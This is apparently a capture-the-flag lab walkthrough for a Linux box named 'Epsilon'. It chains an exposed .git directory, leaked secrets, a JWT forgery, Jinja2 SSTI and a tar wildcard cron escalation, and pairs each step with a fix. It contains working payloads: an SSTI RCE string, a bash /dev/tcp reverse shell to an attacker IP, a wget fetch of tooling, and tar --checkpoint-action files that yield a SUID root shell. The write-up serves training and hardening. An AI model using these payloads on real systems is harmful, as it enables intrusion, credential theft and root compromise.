← all walkthroughs

Epsilon

Linux· Medium
owned
2026-07-15
time to own
10m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated a Linux server exposing OpenSSH, Apache, and a Flask web application, then discovered that Apache carelessly served the application's entire .git directory to the public. Downloading the repository and walking its commit history uncovered a hard-coded Flask JWT signing secret and AWS access credentials that had been deleted from the live code but remained readable in the version log. With the JWT secret I forged an administrator-level session cookie and unlocked privileged routes in the Flask application.

The leaked AWS credentials were simultaneously used against a LocalStack service to enumerate deployed Lambda functions. An administrative form in the Flask app passed user-supplied text directly to the Jinja2 template engine, enabling server-side template injection that escalated to arbitrary OS command execution as the web process user and yielded the user flag. Post-exploitation process monitoring revealed a root-owned cron job archiving a web-writable directory with tar and a wildcard glob — a classic injection vector.

By planting files whose names were interpreted by tar as command-line flags, I injected a shell command that ran as root on the next cron tick, producing a SUID root shell and full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationWeb source-code disclosure via exposed .git directory
Mapped open services and confirmed a publicly readable .git directory
A version scan identified three open ports: SSH on 22, Apache 2.4.41 on 80, and a Werkzeug/Flask server on 5000. A targeted probe of the web root confirmed the /.git directory returned HTTP 200 and a valid git HEAD reference, meaning the full source tree and every historical commit were downloadable without authentication.
HTTP 200 from http://$TARGET/.git/HEAD; nmap confirmed Apache 2.4.41 on 80 and Werkzeug 2.0.2 (Python 3.8.10) on 5000.
Exact commands 2
Service and version scan across the three open ports.
nmap -sCV -p 22,80,5000 $TARGET
Confirm the .git directory is publicly readable — expect a 'ref: refs/heads/...' response.
curl -s http://$TARGET/.git/HEAD
FixBlock public access to the .git directory on the web serverCritical
WeaknessThe Apache server served the application's .git directory to anyone on the internet with no access restriction, allowing the full source tree and complete commit history to be downloaded in seconds using a single freely available tool.
FixAdd a server-level directive that denies all requests to /.git and its sub-paths. In Apache: '<DirectoryMatch "\.git"> Require all denied </DirectoryMatch>' in the virtual-host config. In Nginx: 'location ~ /\.git { deny all; }'. Verify the fix with an automated check (e.g., curl returning 403 on /.git/HEAD) after every deployment. As defence-in-depth, deploy web applications from build artifacts rather than live working trees so no .git directory exists on the server at all.
2Credential HarvestingGit history secret extraction (T1552.001)
Dumped the repository and extracted secrets from deleted commits
Git-dumper reconstructed the full repository from the exposed endpoint. The current working files contained no credentials, but 'git log -p' revealed an earlier commit that included the Flask application's JWT SECRET_KEY and a set of AWS access key and secret values in plain text before they were removed in a later commit. Both values remained fully readable in the diff of the deleting commit.
Git log -p output contained SECRET_KEY and AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY values prefixed with '-' (deleted lines) in a prior commit to app.py.
Exact commands 4
Reconstruct the repository from the exposed .git endpoint.
git-dumper http://$TARGET/.git ./repo
List all commits; look for messages referencing credential removal or cleanup.
cd repo && git log --oneline
Search the full diff history for credential strings in deleted lines (prefix '-').
git log -p | grep -A 5 -B 2 -E 'SECRET_KEY|AWS_ACCESS|AWS_SECRET'
Inspect the specific commit to read the deleted secret values in full context.
git show <COMMIT_HASH>
FixRemove committed secrets from git history and rotate all exposed credentialsCritical
WeaknessThe Flask JWT signing secret and AWS access credentials were committed to the repository in plain text and later deleted. Deleting a file or line in git only removes it from the current working tree — both values remained fully visible in the commit log and were extracted in seconds once the repository was downloaded.
FixTreat every credential that appeared in the history as compromised: immediately revoke and rotate the AWS access keys and generate a new random JWT secret. Purge the secret-containing commits using 'git filter-repo' or the BFG Repo-Cleaner and force-push all branches. Going forward, store secrets exclusively in environment variables or a dedicated secrets manager (e.g., AWS Secrets Manager, HashiCorp Vault) and never in source files. Enforce pre-commit hooks using gitleaks or truffleHog to block future accidental commits. Bind the LocalStack service to 127.0.0.1 so it is not reachable from the internet even if credentials are later leaked.
3Authentication BypassJWT HS256 forgery with known secret (CWE-347)
Forged an admin-level JWT session cookie using the leaked signing secret
The Flask application authenticated users with HS256-signed JSON Web Tokens stored in the 'auth' cookie. Because the signing secret was now known, I minted a new token with the 'username' claim set to 'admin'. Setting this forged token as the session cookie granted administrator-level access to every protected route without knowing any real password.
Setting a session cookie<forged_token> returned HTTP 200 on admin-gated endpoints that previously issued a login redirect for unauthenticated requests.
Exact commands 2
Mint an admin JWT; substitute <LEAKED_SECRET_KEY> with the value extracted from git history.
python3 -c "import jwt; print(jwt.encode({'username': 'admin'}, '<LEAKED_SECRET_KEY>', algorithm='HS256'))"
Verify admin access; expect the admin dashboard rather than a login redirect.
curl -s -b "auth=<FORGED_JWT>" http://$TARGET:5000/home
FixGenerate the JWT signing secret randomly and inject it at runtime, never from sourceHigh
WeaknessThe application signed all session tokens with a static secret embedded in the source code. Anyone who obtained that value — through source-code disclosure, git history, or brute force — could mint valid administrator tokens for any account with no knowledge of real credentials.
FixReplace the hard-coded secret with a value produced by a cryptographic random source (e.g., 'python3 -c "import secrets; print(secrets.token_hex(64))"') and deliver it to the application at runtime via an environment variable or secrets manager, never via a source or config file checked into version control. Rotate the secret immediately to invalidate all previously issued tokens. Add an exp (expiry) claim to tokens and keep session lifetimes short; for high-privilege administrator sessions consider a server-side revocation list.
4EnumerationCloud credential abuse — LocalStack Lambda enumeration
Enumerated Lambda functions via LocalStack using leaked AWS credentials
A LocalStack AWS emulator was listening on port 4566. Authenticating with the AWS credentials recovered from git history, I listed the deployed Lambda functions and retrieved source archives, gaining visibility into additional application logic and the internal service architecture.
Aws lambda list-functions returned at least one function; get-function returned a pre-signed S3 URL for the source ZIP.
Exact commands 3
List deployed Lambda functions using leaked credentials against the LocalStack endpoint on port 4566.
AWS_ACCESS_KEY_ID=<LEAKED_KEY_ID> AWS_SECRET_ACCESS_KEY=<LEAKED_SECRET> aws --endpoint-url=http://$TARGET:4566 lambda list-functions --region us-east-1
Retrieve function metadata and the pre-signed download URL for the source archive.
AWS_ACCESS_KEY_ID=<LEAKED_KEY_ID> AWS_SECRET_ACCESS_KEY=<LEAKED_SECRET> aws --endpoint-url=http://$TARGET:4566 lambda get-function --function-name <FUNCTION_NAME> --region us-east-1
Download and inspect the Lambda source for additional logic or hardcoded values.
curl -s '<PRESIGNED_S3_URL>' -o lambda.zip && unzip -d lambda_src lambda.zip
5ExploitationServer-Side Template Injection — Jinja2 (CWE-94 / T1059.006)
Exploited Jinja2 SSTI in the admin panel to execute OS commands and capture the user flag
The administrator panel exposed a form whose input was passed directly to Flask's render_template_string(), which evaluated it as live Jinja2 code. Submitting {{7*7}} returned '49', confirming template evaluation. A chained payload traversing Python's object hierarchy reached os.popen() and executed arbitrary commands as the user running the Flask process. A reverse-shell payload produced an interactive shell, and the user flag was read from the home directory.
{{7*7}} in the admin template field returned '49'; os.popen('id').read() confirmed the web application OS user; user.txt read via the resulting shell.
Exact commands 5
Probe for SSTI: response containing '49' confirms template evaluation. Adjust the endpoint path and parameter name to match the actual admin form field.
curl -s -b "auth=<FORGED_JWT>" -X POST http://$TARGET:5000/home -d "name={{7*7}}"
Escalate to OS-level RCE and confirm the process owner.
curl -s -b "auth=<FORGED_JWT>" -X POST http://$TARGET:5000/home -d "name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
Start a listener on my machine before sending the reverse-shell payload.
nc -lvnp 4444
Trigger an interactive reverse shell; replace $ATTACKER_IP with your machine's IP.
curl -s -b "auth=<FORGED_JWT>" -X POST http://$TARGET:5000/home --data-urlencode "name={{config.__class__.__init__.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\"').read()}}"
Read the user flag once the shell is active; the actual value is <user.txt>.
cat /home/*/user.txt
FixNever pass user input to the Jinja2 template engine; use static templates with context variablesCritical
WeaknessAn administrative form passed user-supplied text directly to Flask's render_template_string(), which evaluated it as executable Jinja2 code. This allowed an unauthorised user to craft expressions that traversed Python's object model and invoked os.popen(), executing arbitrary OS commands as the web server process.
FixRemove all calls to render_template_string() that accept user-controlled data. Use static template files instead: render_template('page.html', variable=user_input) treats user data as a context value, not executable code. If truly dynamic templates are a hard business requirement, render them inside Jinja2's SandboxedEnvironment and whitelist the permitted expression node types. Add server-side input validation that rejects strings containing template delimiters ({{ or }}) before they reach any rendering function.
6Privilege Escalation — DiscoveryCron tar wildcard injection — discovery phase (T1053.003)
Discovered a root cron job running tar with a wildcard over a web-writable directory
Running the process-monitoring binary pspy revealed that root executed a tar archiving command every minute, using a glob wildcard (*) over /opt/backups. The web application user had write access to that directory. Because the shell expands a wildcard into individual filename arguments before tar runs, anyone who controls filenames in the directory can inject names that tar parses as command-line flags, including --checkpoint-action, which executes an arbitrary shell command during archiving.
Pspy64 output: UID=0 ... /usr/bin/tar -czvf /var/backups/web.tar.gz /opt/backups/* on approximately a 60-second interval; ls -la /opt/backups confirmed write permission for the web user.
Exact commands 2
Transfer and run pspy to observe root-level processes without elevated privileges; watch for a tar command containing a wildcard path.
wget http://$ATTACKER_IP/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
Confirm the web application user can write to the directory the cron archives.
ls -la /opt/backups
7Privilege Escalation — ExploitationTar checkpoint wildcard injection → SUID bash escalation (T1574)
Injected a tar checkpoint command to execute a root shell payload and read root.txt
In the writable /opt/backups directory, I wrote a shell script that copied /bin/bash to /tmp/rootbash with the SUID bit set, then created two files whose names were interpreted by tar as flags: '--checkpoint=1' (fire a checkpoint after every archive record) and '--checkpoint-action=exec=sh shell.sh' (execute the script at each checkpoint). When the root cron next ran tar against the directory, tar executed the payload as root. Invoking /tmp/rootbash -p elevated to an effective root shell from which root.txt was read.
After the next cron tick, /tmp/rootbash appeared with -rwsr-xr-x owned by root; /tmp/rootbash -p produced euid=0(root); root.txt read from /root/.
Exact commands 7
Change to the directory the root cron job archives.
cd /opt/backups
Create the payload script that will run as root when the cron fires.
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > shell.sh && chmod +x shell.sh
Filename instructs tar to fire a checkpoint after every 1 archive record.
touch './--checkpoint=1'
Filename instructs tar to execute shell.sh at each checkpoint — as root.
touch './--checkpoint-action=exec=sh shell.sh'
Wait for the next cron tick; confirm the SUID bash copy appeared owned by root.
sleep 65 && ls -la /tmp/rootbash
Open a root-privileged shell via the SUID copy of bash.
/tmp/rootbash -p
Read the root flag; the actual value is <root.txt>.
cat /root/root.txt
FixReplace tar wildcard expansion in root cron jobs and restrict backup directory write accessHigh
WeaknessA cron job running as root used a shell glob ('*') with tar over a directory writable by the web application user. The shell expanded the wildcard into individual filenames before passing them to tar, so an unauthorised user could create files whose names began with '--' and were silently parsed by tar as command-line flags, injecting --checkpoint-action to execute an arbitrary script as root.
FixEliminate wildcard expansion in the cron command: replace 'tar ... /opt/backups/*' with an explicit directory form ('tar -czvf /var/backups/web.tar.gz -C /opt backups') or supply a file list via '--files-from' to prevent any filename from being treated as a flag. Revoke write access on /opt/backups for all accounts except root ('chmod 700 /opt/backups && chown root:root /opt/backups'). Audit every cron job for wildcard usage. As a further control, run the backup task under a dedicated non-root service account that has read-only access to the files it archives.

Exposed services

22/tcp
80/tcp
5000/tcp